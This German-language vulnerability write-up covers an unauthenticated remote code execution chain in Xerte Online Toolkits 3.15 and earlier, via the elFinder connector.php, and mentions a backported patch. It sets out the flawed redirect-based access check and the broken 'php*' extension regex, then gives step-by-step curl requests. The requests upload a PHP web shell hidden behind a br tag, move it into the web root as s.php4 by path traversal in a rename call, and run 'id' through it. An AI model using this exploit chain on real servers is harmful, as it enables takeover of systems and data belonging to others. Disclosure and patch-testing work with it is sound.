
Nicht authentifizierter Exploit für Xerte Online Toolkits. Erfordert die Kenntnis eines gültigen Benutzernamens.
Xerte Online Toolkits in den Versionen 3.15 und früher sind von 3 Schwachstellen in der Komponente /editor/elfinder/php/connector.php betroffen, die von einem nicht authentifizierten Angreifer miteinander verkettet werden können, um Remote Code Execution (RCE) zu erreichen.
Xerte Online Toolkits <= 3.15
Ein zurückportierter Patch wurde auf die Versionen 3.15, 3.14 und 3.13 angewendet.
Nicht authentifizierte Benutzer können Anfragen an die Connector-Komponente unter /editor/elfinder/php/connector.php senden.
Der folgende Code wird als Zugriffskontrolle verwendet.
Datei: /editor/elfinder/php/connector.php Zeilennummer: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Dies leitet nicht authentifizierte Benutzer um und verhindert, dass sie die Antwort auf nicht authentifizierte Anfragen erhalten. Allerdings beendet dies die Sitzung nicht, und der nachfolgende Code wird weiterhin ausgeführt.
*Setzt voraus, dass der Angreifer den Dateinamen der Datei kennt, die er verschieben möchte.
Angreifer können den Parameter "name" in einer "rename"-Anfrage an den Endpunkt connector.php manipulieren. Dadurch können Angreifer ein vorhandenes Verzeichnis nutzen, um Dateien aus dem Medienverzeichnis des Benutzers heraus zu verschieben.
Aufgrund eines Fehlers im Regex des Dateierweiterungsfilters in der Datei connector.php können Angreifer eine in denselben Xerte-Versionen vorhandene Path-Traversal-Schwachstelle verketten, um eine Datei mit bösartigem PHP-Code mit der Erweiterung .php4 in das Anwendungsstammverzeichnis zu verschieben.
Datei: /editor/elfinder/php/connector.php Zeilennummer: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
Der Regex php* stimmt nur mit dem vorangehenden Zeichen überein. Daher würde er auf "ph", "php", "phppp" usw. zutreffen.
Wenn die Authentifizierung aktiviert ist (was nicht der Standardkonfiguration von Xerte entspricht), muss ein Angreifer den Benutzernamen eines gültigen Benutzers kennen (oder per Brute-Force ermitteln). Wenn die Gast-Authentifizierung verwendet wird (die Standardeinstellung), wäre das Ziel-Projektverzeichnis schlicht 1--Nottingham.
Ein nicht authentifizierter Angreifer kann ein Verzeichnis "example_dir" erstellen und eine Datei "file.txt" mit bösartigem PHP-Code in ein beliebiges Projektverzeichnis unter USER-FILES/ hochladen.
Anschließend kann der Angreifer die in Xerte vorhandenen Schwachstellen "Relativer Pfad-Traversal" und "Unvollständige Liste unzulässiger Eingaben" nutzen, um einen Pfad-Traversal durchzuführen, indem der Name der hochgeladenen Datei in "example_dir/../../../../file.php4" geändert wird. Dadurch wird file.txt als "file.php4" in das Anwendungsstammverzeichnis verschoben, was dem Angreifer Remote Code Execution ermöglicht.
curl 'http://localhost/xt/setup'
Anfrageparameter: uploadDir: Anwendungsstammverzeichnis + USER-FILES/{Projekt-ID}-{Benutzer}-Nottingham/ uploadURL: URL zum Projektverzeichnis cmd: mkdir name: Der Name des neuen Verzeichnisses target: Die elfinder-ID des media/-Verzeichnisses. Da dies das elfinder-Root ist, ist sie immer "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*Das
-Tag im Payload verhindert, dass der MIME-Typ-Filter von elfinder den PHP-Code erkennt.
Anfrageparameter: uploadDir: Anwendungsstammverzeichnis + USER-FILES/{Projekt-ID}-{Benutzer}-Nottingham/ uploadURL: URL zum Projektverzeichnis cmd: upload target: Die elfinder-ID des media/-Verzeichnisses. Da dies das elfinder-Root ist, ist sie immer "l1_Lw" upload[]: Die hochzuladende Datei.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Stellen Sie sicher, dass Sie das Padding entfernen. In diesem Fall besteht es nur aus "=".
Fügen Sie die Volume-Kennung hinzu. Diese ist immer "l1" (wie in "/").
Ergebnis: l1_ZmlsZS50eHQ
Anfrageparameter:
uploadDir: Anwendungsstammverzeichnis + USER-FILES/{Projekt-ID}-{Benutzer}-Nottingham/
uploadURL: URL zum Projektverzeichnis
cmd: rename
name: Der Verzeichnisname, die Pfad-Traversal-Sequenz und der neue Dateiname mit der Erweiterung .php4
target: Die elfinder-ID, die wir aus der neuen Datei generiert haben l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Anfrageparameter: cmd: Der auszuführende Befehl
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)